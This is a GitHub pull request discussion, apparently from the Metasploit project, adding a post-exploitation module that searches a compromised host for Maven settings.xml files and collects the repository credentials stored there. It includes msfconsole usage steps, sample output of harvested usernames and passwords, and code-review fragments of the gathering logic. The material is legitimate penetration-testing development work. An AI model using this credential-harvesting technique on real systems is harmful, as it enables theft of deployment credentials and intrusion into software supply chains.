Add Maven creds module #8831

elenoir · 2017-08-14T13:33:57Z

Some Artifactory or Nexus credentials are often stored in the Maven settings.xml configuration file.
Example in a settings.xml :

<server>
  <id>server-nexus-snapshot</id>
  <username>deploytonexus</username>
  <password>password</password>
</server>

This allows application to reference this server and deploy file automatically to it.
This modules scans all settings.xml on the file system, gathers these credentials and store them as loot.

Verification

List the steps needed to make sure this thing works

Start msfconsole
use use post/multi/gather/maven_creds
set SESSION <id>
run

Output example

Finding user directories
Unix OS detected
Looting 15 files
Downloading /home/user/settings.xml
Reading settings.xml file from /home/user/settings.xml
Collected the following credentials:
Id: server-nexus-snapshot
Username: deploytonexus
Password: password
Saved credentials to /home/user/.msf4/loot/20170814145812_default_127.0.0.1_maven.credential_408780.txt

Loot output

msf post(maven_creds) > loot
Host : 127.0.0.1
Service type : maven.credentials
Name : settings.xml
Content : text/plain
Info : Maven credentials from /home/user/settings.xml and id server-nexus-snapshot
Path : /home/user/.msf4/loot/20170814145812_default_127.0.0.1_maven.credential_351922.txt

AgoraSecurity · 2017-08-14T17:40:23Z

modules/post/multi/gather/maven_creds.rb

+
+  def gathernix
+    print_status("Unix OS detected")
+    return cmd_exec('locate settings.xml').split("\n")


If the system doesn't have locate? I think it would fail.

Yes, do you think I should handle this case by using enum_user_directories in case "locate" does not exist?

I think enum_user_directories is a good approach.

Is it possible to have that setting.xml somewhere else? for example /opt/something/setting.xml ?

Yes it can be install anywhere on the FS.

I submit a new version in which I downgrade to enum_user_directories if locate is not installed ;)

AgoraSecurity · 2017-08-14T17:40:49Z

modules/post/multi/gather/maven_creds.rb

+  end
+
+  def gatherwin
+    print_status("Windows OS detected")


Have you consider checking windows registry? Maybe it's more efficient for rare installation cases...

I'm not sure to understand what you say about the registry? You're talking about Maven registry keys or...?

I guess when you install the software some registry keys are created. You can search them using metasploit functions.
For example: https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/mdaemon_cred_collector.rb#L60

If no registry key is created and/or no useful information is stored on them, you can ignore this comment.

Indeed, no registry key are stored with this software, all is in the settings.xml file.

elenoir · 2017-08-15T14:57:58Z

@bcoles : I just added the doc to my module ;)

AgoraSecurity · 2017-08-18T15:55:05Z

modules/post/multi/gather/maven_creds.rb

+    # Handle case where locate does not exist (error is returned in first element)
+    if files.length == 1 && !directory?(files.first)
+      files = []
+      paths = enum_user_directories.map {|d| d}


This works with a 'shell' and 'meterpreter'?
Have you tried both?

I think it would be useful if the docs would have evidence of both.

Yes it works on both, doc is edited

AgoraSecurity · 2017-08-18T15:57:13Z

modules/post/multi/gather/maven_creds.rb

+    if sysinfo
+      if sysinfo['OS'].include? "Windows"
+        files = gatherwin
+      else


Would this work on other OS? Mac OS X? Android? Either case, I would suggest using if, elsif (as many times and needed) and else (unexpected cases or a catch all for the reminding issues).

Thx, will use a switch instead

AgoraSecurity · 2017-08-18T15:59:12Z

modules/post/multi/gather/maven_creds.rb

+      username = sub.elements['username'].text rescue "<unknown>"
+      password = sub.elements['password'].text rescue "<unknown>"
+
+      print_status("Collected the following credentials:")


Is it possible to have more than "servers/server" in the XML?

Even if not, I would suggest removing from the each the last lines (there's no need to include them inside a loop)

AgoraSecurity · 2017-08-18T15:59:51Z

modules/post/multi/gather/maven_creds.rb

+      print_status("Reading settings.xml file from #{target}")
+      data = ""
+      if session.type == "shell"
+        type = :shell


I believe this variable is not being used.

AgoraSecurity · 2017-08-18T16:00:02Z

modules/post/multi/gather/maven_creds.rb

+        type = :shell
+        data = session.shell_command("cat #{target}")
+      else
+        type = :meterp


Same as above.

elenoir · 2017-08-22T10:10:47Z

As @jmartin-r7 mentionned in #8774 , I transformed the loots into credentials.

jmartin-tech · 2017-08-22T15:16:05Z

modules/post/multi/gather/maven_creds.rb

+          module_fullname: self.fullname,
+          filename: target,
+          service_name: 'maven',
+          realm_value: id,


For the realm it would be nice to parse out the url from the repository or mirror tag that id is referencing.

Per the maven settings.xml spec for the server tag

id: This is the ID of the server (not of the user to login as) that matches the id element of the repository/mirror that Maven tries to connect to.

Thanks, I implemented the cross action with these tags !

…y tag

busterb · 2017-09-07T22:36:52Z

I verified that this worked fine yesterday. Thanks @elenoir

Merge remote-tracking branch 'upstream/pr/8831' into upstream-master

busterb · 2017-09-07T22:39:43Z

Release Notes

This adds a post-exploitation module for extracting Artifactory or Nexus credentials are often stored in the Maven settings.xml configuration file.

Add Maven creds module

27822c2

AgoraSecurity reviewed Aug 14, 2017

View reviewed changes

Erik Lenoir added 2 commits August 14, 2017 23:25

Handle case when locate is not here by using enum_directories_map

55db70e

Rename command

b4055a8

busterb added module feature labels Aug 15, 2017

bcoles added the needs-docs label Aug 15, 2017

Add documentation file

6ac8ed4

AgoraSecurity reviewed Aug 18, 2017

View reviewed changes

Erik Lenoir added 3 commits August 18, 2017 19:00

Remove unused variable

b529c35

Optim module and add doc

cde319a

Transform loots into creds

be2739d

jmartin-tech reviewed Aug 22, 2017

View reviewed changes

Erik Lenoir added 3 commits August 25, 2017 18:28

Replace REXML with Nokogiri and try to cross id with mirror/repositor…

801e3e2

…y tag

Edit doc

682851a

Fix typo

a806707

busterb self-assigned this Sep 7, 2017

busterb merged commit a806707 into rapid7:master Sep 7, 2017

busterb pushed a commit that referenced this pull request Sep 7, 2017

Land #8831, Add Maven post-exploitation credential extraction module

a0181a4

Merge remote-tracking branch 'upstream/pr/8831' into upstream-master

busterb removed the needs-docs label Sep 7, 2017

tdoan-r7 added the rn-enhancement release notes enhancement label Sep 15, 2017

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Add Maven creds module #8831

Add Maven creds module #8831

elenoir commented Aug 14, 2017 •

edited by busterb

AgoraSecurity Aug 14, 2017

elenoir Aug 14, 2017

AgoraSecurity Aug 14, 2017

elenoir Aug 14, 2017

AgoraSecurity Aug 14, 2017

elenoir Aug 14, 2017

AgoraSecurity Aug 14, 2017

elenoir Aug 14, 2017

elenoir commented Aug 15, 2017

AgoraSecurity Aug 18, 2017

elenoir Aug 18, 2017

AgoraSecurity Aug 18, 2017

elenoir Aug 18, 2017

AgoraSecurity Aug 18, 2017

AgoraSecurity Aug 18, 2017

elenoir Aug 18, 2017

AgoraSecurity Aug 18, 2017

elenoir Aug 18, 2017

elenoir commented Aug 22, 2017

jmartin-tech Aug 22, 2017

elenoir Aug 26, 2017

busterb commented Sep 7, 2017

busterb commented Sep 7, 2017

Add Maven creds module #8831

Add Maven creds module #8831

Conversation

elenoir commented Aug 14, 2017 • edited by busterb

Verification

Output example

Loot output

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

elenoir commented Aug 15, 2017

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

elenoir commented Aug 22, 2017

Choose a reason for hiding this comment

Choose a reason for hiding this comment

busterb commented Sep 7, 2017

busterb commented Sep 7, 2017

Release Notes

elenoir commented Aug 14, 2017 •

edited by busterb